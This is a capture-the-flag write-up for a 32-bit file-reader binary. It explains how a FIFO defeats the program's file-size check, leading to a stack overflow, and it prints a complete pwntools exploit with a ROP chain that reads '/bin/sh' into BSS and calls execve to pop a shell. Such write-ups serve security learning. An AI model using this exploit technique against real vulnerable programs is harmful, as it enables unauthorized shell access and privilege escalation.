Solved by 4rbit3r
This question was a pretty good one which made me google a bit. After the CTF was over, I found out that the original intention was to exploit the challenge using a race-condition.
You can find the details of that method here: Secure File Reader Race-condition
So the binary is a 32 bit one which has only NX enabled and no other protections.
$ ./pwn
Usage ./prog <filename>
So it basically requires, as argument, the name of the file. A check function is called which checks if the size of the given file is less than or equal to 4096 bytes.
If the size is greater than 4096 bytes, then we are shown an error message. This message is also shown if the file doesn’t exist or the program doesn’t have permission to access that file.
$ ./pwn asdf
No No the file is too big
So what happens after the check_size() function?
Once the size of the file is verified to be less than 4096 bytes, the program calls the save_in_buffer() function which basically copies the content of the file onto the stack.
Possibility of a buffer overflow if we manage to somehow get through the check_size().
There is a little bit of knowledge required here about some data structures. It is that the size of a FIFO data structure is 0. So that means, we can store as many bytes as we want in the FIFO, but it will still show its size as 0.
So now, ROP.
What I basically did is to use a read syscall to read the string “/bin/sh” onto the BSS segment. And then use that string to call execve which pops a shell.
And here’s the exploit:
from pwn import * from subprocess import call def make_payload(payload): with open("inp","wb") as f: f.write(payload) call("cat inp > FIFO &",shell=True) call(["mkfifo","FIFO"]) pattern=util.cyclic.cyclic(5000,n=4) make_payload(pattern) p=process(['pwn','FIFO']) log.info(p.recvline()) p.close() time.sleep(2) elf=Core('core') pc=hex(elf.eip)[2::] pc=pc.decode('hex')[::-1] offset=pattern.find(pc) log.progress("Offset found at "+str(offset)) g1=pack(0x08055140) #xor eax,eax;ret; g2=pack(0x080eb753) #inc eax;ret; g3=pack(0x08072731) #pop ecx;pop ebx;ret; bss=pack(0x80ed638) #data segment =>buf num=pack(0xffffffff) g4=pack(0x080ec561) #inc ebx;ret; g5=pack(0x08072dd0) #int 0x80;ret g6=pack(0x080ec486) #inc ecx;ret; g7=pack(0x080550d5) #mov edx,0xffffffff g8=pack(0x0805d6f7) #inc edx;ret; g9=pack(0x08072732) #pop ebx;ret; payload=flat(g1,[g2*3],g3,bss,num,g4,g5,[g2*2],g3,num,bss,g6,g7,g8,g5,g1,g2,g9,num,[g4*10],g5) payload=fit({offset:payload},filler="A") p=process(['pwn','FIFO']) make_payload(payload) log.info(p.recvline()) p.sendline("/bin/sh"+"\x00") if p.connected(): log.success("Got shell") p.interactive() else: log.failure("Exploit didn't work")
And all you need to do here is to modify the code to ssh into the host, upload the payload file and the FIFO and just execute the binary on the host.
Leave a Reply